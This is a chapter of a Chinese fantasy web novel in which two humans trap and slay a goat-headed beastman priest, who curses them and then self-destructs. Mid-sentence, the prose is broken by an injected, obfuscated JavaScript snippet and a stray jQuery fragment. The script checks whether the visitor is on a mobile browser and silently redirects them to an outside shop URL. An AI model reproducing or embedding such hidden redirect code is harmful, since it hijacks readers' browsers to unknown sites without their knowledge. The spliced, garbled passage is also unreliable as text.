玛扎姆透过傀儡哈鲁克什的视野,看到那抹黑色在不远处的树林中一动不动地蜷缩着,他不由得“咯咯”低笑起来。

    “‘漆黑之兽’已经受伤了,命运在今日眷顾着我……”

    他催动着傀儡向前进发,脑海中幻想着自己在将祭品献给黄铜之王后获得赐福的模样。

    “沙沙沙……”

    但野兽人的感官终究是非常灵敏的,纵使将大部分的精力都放在操控着的庞大傀儡身上,玛扎姆还是察觉到了周围传来的细小声音——有什么东西在移动时刮蹭着树枝而发出的沙沙声。

    “……”玛扎姆沉默了片刻,并不打算搭理这只冲着他来的小老鼠,因为此刻的他有着神明的庇佑,寻常人对他造成不了什么伤害。

    “叮——!”

    果不其然,林中发射的箭矢在即将命中目标时,被一道看不见的盾墙所弹开,发出了清脆的金属碰撞声音。

    “嘿嘿……”玛扎姆轻笑一声,转过了头,将精力全部放在了傀儡的身上。

    那抹漆黑仍旧是在原地一动不动,玛扎姆只当是方才的那一击将对方打晕了过去。

    “咚……”

    傀儡的啼声沉重且响亮,玛扎姆还带上了方才掉在地上的战斧,为了能将祭品顺利带回去,他打算在抓住对方之后先砍下双腿,免得发生什么意外。

    “不出所料,它上钩了……”

    在第一次攻击失败之后,埃尔金用普通的铁箭进行了数次的试探,在确认对方彻底无视了自己之后,他暂时停止了攻击,并站在了羊头人身后不远处的位置。

    埃尔金开始在脑中回忆着方才与卢修斯商讨的对策——

    “听着,对方应当是在我身上做了类似于标记一样的手段,以至于他们能够轻松找到我的位置,所以我想,与其花费体力一直躲藏,不如等他来找我。”说到这里,卢修斯笑道:“解决这个傀儡并不难,但我需要同时抓住那个藏在后面的施术者,在强行断开两者之间的联连系时,施术者将受到相当高的精神伤害,届时我需要你的力量,埃尔金。”

    “如果只是单靠附魔箭矢,我觉得很难达到干扰目的。”他说道,“我可不是你这样的‘元素亲和者’。”

    “这个借你。”卢修斯将赐福长剑塞到了他的手中,“与其用它来砍尸体,不如拿去做收益更大的事,在它变虚弱的那一刻,便是你下手的最佳机会……”

    长剑在昏暗的树林中缓缓向外散发着淡淡的金色光辉,而在攥紧长剑握柄的那一刻,埃尔金突然感受到了一种从未体验过的亲和之感——如同长剑在此刻化为了他的臂膀一般。

    随后,埃尔金眼中的场景发生了一些变化:原本空旷昏暗的森林被彩色的光辉所充斥,或是雀跃跳动,或是平缓流转。

    他立刻反应了过来,这些如同萤火虫一般的存在都是所谓“元素”的体现,而自己在把握住长剑之后,开启了独属于“元素亲和者”的特殊视野,就和卢修斯一样。

    他没有多想,只是默默地开始祈祷圣光的降临。圣光是骄阳的延伸,而圣光元素一般不会活跃于大地之上。

    寻常人是无法与元素沟通的,但人类之主赐下了圣印,信仰坚定之人能用其引导圣光降临,用圣光元素帮助自己脱离危险,甚至治愈伤痕。

    意料之中的,圣光回应祈祷的速度远超平常,缕缕金光自上而下穿过黑树的层层枝叶,最终没入埃尔金与长剑之中。再度睁眼,淡淡的金色光芒自双眸中溢出,埃尔金坚定的面庞透露着自信与欣喜。

    随后他持剑大步向着不远处的那个羊头人掠去。

    “……?”

    在视野中,傀儡与那个人类的距离简直是唾手可得,他面朝下地倒在地上,手中握着一把朴实无华的短刀。

    “短刀?”脑海中闪过了一道思绪,但快到玛扎姆并没有将成功其抓住。

    不由得他深思片刻,下一秒,眼前的这个男人翻过了身,并将手中的短刀向着“他”的方向狠狠掷出。

    “轰——!”

    此同时,远处传来了意料之外的剧烈爆炸声。连接中断了,玛扎姆的视野又变回了自己所在的树林阴影中。

    “啊啊啊——!”羊头人祭司双手抓住了自己的脑袋,他感受到了来自灵魂深处撕裂般的疼痛,这是与傀儡强行中断而带来的精神上的苦痛,对身体所造成的将会比物理上要来的更严重。

    “嗤——!”

    祸不单行,他身后传来了一道刺耳的响声,如同粗布被人生生撕扯成两片。

    玛扎姆猛地回头望去,映入眼帘的是带着邪笑的埃尔金和他手中破开自己所布下结界的长剑。

    他认得这把剑,这浸润了伪神邪光的长剑本应当在“漆黑之兽”那里!

    是啊,这把剑本不应该在眼前的这个男人手上!

    玛扎姆想通了,为什么“漆黑之兽”的手中仅有那把短刀,原来是他将长剑交给了他人。

    顾不得与傀儡重新建立连接了,玛扎姆为了躲避身后的这位莫名破开它防御的人类,在用手中的骨杖扬起沙尘之后,便撩开蹄子向着傀儡的方向撒腿就跑。

    直到此刻,这个平日里在部落中自诩“智者”的羊头人祭司才反应过来自己原来早就落入了两人的圈套之中,他们利用了自己的自信,在阴暗中给了自己意料之外的一击!

    真是狡猾的人类!

    宽阔的空地上,哈鲁克什的残骸如他预想中的一样倒在地上,方才的爆炸将其尚且能称得上是结实的□□彻底炸得七零八落,而那个本该因“身受重伤”而倒在树林中束手就擒的黑发人类此刻正站在残骸的旁边,面带微笑地看着向此跑来的自己。

    “啊,我就知道他得手了。”眼瞅着羊头人从树林中逃窜而出,卢修斯都想马上拍手叫好了,但他知道“提前开香槟”的后果。

    卢修斯蹲下了身子,而为了更好与土元素沟通,他将整只右手都嵌入了脚下的泥土之中,调动沉重的土元素是一件非常需要专注力的活,面对这种正在移动之中的猎物则更是难上加难。

    但作为一个经验丰富的猎人,卢修斯并不打算预判猎物的走位,羊头人太过灵活了。

    “流沙。”

    眼眸中流转着黄色的光华,慵懒的土元素遵循卢修斯的意志让玛扎姆前方的大片土地开始沙化,为了能让身形轻巧的羊头人能够深陷其中,他还特意加深了一米的厚度。

    “哇!!”

    玛扎姆意识到了前方的不对劲,但由于前行的速度太快,他来不及躲闪,整只羊面朝下摔在了黄沙之中。

    “不好,是陷阱!”玛扎姆惊恐地催动着手中的法杖,一时间红光大盛,神秘的力量将他的身体从流沙之中缓缓抬起。

    就在这时,埃尔金追上了他。

    “受死吧可憎的异形!”他大吼着,举起手中的长剑将羊头人祭祀扎了个对穿。

    这一击,算是压倒了玛扎姆这只骆驼的最后一根稻草。圣光之力让这个充盈着邪法的羊头人受到了难以言喻的痛苦,长剑所造成的的伤口在第一时间便发出了某种东西被腐蚀着的“滋滋”声,这是圣光在排斥、灼烧着它堪称污秽的血肉。

    “我诅咒、唾弃你们的伪神!”玛扎姆差点被捅地背过气去,他原本就干瘪的躯体在受到赐福之剑的伤害后好像又脱去了一层水一样,整只羊变得如同骷髅一般。

    随着骨仗的脱手,那红色的光辉彻底在他身上消散了,玛扎姆

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776898|210047||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    重新倒在黄沙之中,只能无力地咒骂着卢修斯和埃尔金这两个“狡诈”的人类。

    “大地束缚。”

    随着卢修斯的一声令下,羊头人祭祀周围的黄沙重新塑性,像个枷锁一样,让其跪在地上,几息之间土地变得如同先前那样坚实、富有生命力。

    “看来你交了好运,埃尔金。”没有理睬一旁如同死狗一样的羊头人,卢修斯首先向这位优秀的同僚拍手庆祝,“你开启了元素视野,这意味着已经迈入‘元素亲和者’的境界了。”

    “你看出来了?”收回了长剑,埃尔金对于卢修斯的话着实有些意外。

    “是啊,你现在的眼睛就和圣城夜晚的火灯一样发着光。”卢修斯笑着拍了拍埃尔金的肩膀,“试着平复圣光元素的情绪,元素视野的开启与否能够靠使用者的意识来决定。”

    一句话解决了两件事,埃尔金正想问自己突然觉醒的“视野”该怎么关闭来着,毕竟长时间在这个五光十色的世界里面呆久了,眼睛实在是有些受不了。

    “好了,我们该审问一下我们这位‘尊贵的客人’了。”

    玩笑结束,两人将目光放在了一旁的“客人”身上。羊头人已经气若游丝,但他的求生意志很强,迟迟没有咽下这口气。

    “你们好像,是冲着我来的……”卢修斯站在了玛扎姆的面前,想起刚才的那个野牛人和眼前这个羊头人的种种所为,他有些不太确定的问道。

    “是又如何?”

    也不知道是因为重伤而失去了力气,还是别的什么原因,此刻的玛扎姆竟然异常的平静,纵使伤口还在不断向外渗着黑血。

    “这仅仅是一场失败的狩猎罢了……嘿嘿嘿……”玛扎姆咯咯地笑着,黑血随着笑声顺着张开的嘴角淌出,而此刻,他猩红色的眼球中尽显癫狂,“你以为你们能一直平安无事下去吗?人类……”

    “你都知道些什么?”

    卢修斯眯了眯眼睛,两道风刃瞬间出现在了羊头人颤抖着的脖颈两侧。

    “我知道些什么?我都知道!我什么都知道!”玛扎姆开始了挣扎,脸上尽是为了某种存在的欢欣与狂热,他不在意风刃将自己的皮肤划破,不在意自己鲜血直流,他说:“你们所信奉的伪神!那个令人憎恶者的光芒正在消退,就快开始了,人类所遗忘已久的灾难将在吾主的带领下席卷整个大陆!”

    “而你——嘿嘿……哈哈哈哈!!”玛扎姆的双眼死死盯住了面前的卢修斯,他笑了,黑血自它的五官中喷涌而出,染黑了他灰白色的长毛,“吾主将指引你,带领我们走向那期盼已久的黑暗!”

    卢修斯的脸色变得非常阴沉,此刻他很想让面前这个令人厌恶的东西永远闭嘴,但他还想再从它身上挖出些更有价值的情报来。

    可不待他做出更多的动作,羊头人的情况却变得越来越糟糕。

    “呜……呃……!”玛扎姆的身体开始抽搐,口中只能发出几个含糊不清的音节,“莫……莫!”

    “莫克萨恩!莫克萨恩!”羊头人竭尽全力喊出了这个词语,与此同时,它干瘪的躯体像个气球一样突然胀了起来。

    “不好!他要自爆!”埃尔金眼见情况不对,转身就往后方的树林跑去。

    卢修斯有些不太甘心,却也无可奈何。但正当他转过身去的那一刻,心脏就好像被人紧紧攥住了,这令人窒息的痛苦让他踉跄着摔在了地上。

    “混蛋……”卢修斯弓着身子,眼睛狠狠地向已经成了圆球一样的羊头人看去。这个可憎的异形,在这种情况下居然还有余力施法?

    “你逃不掉的,祂在看着我们,吾主指引我们!!”

    在玛扎姆最后的癫狂笑声中,爆炸夷平了周围的一切。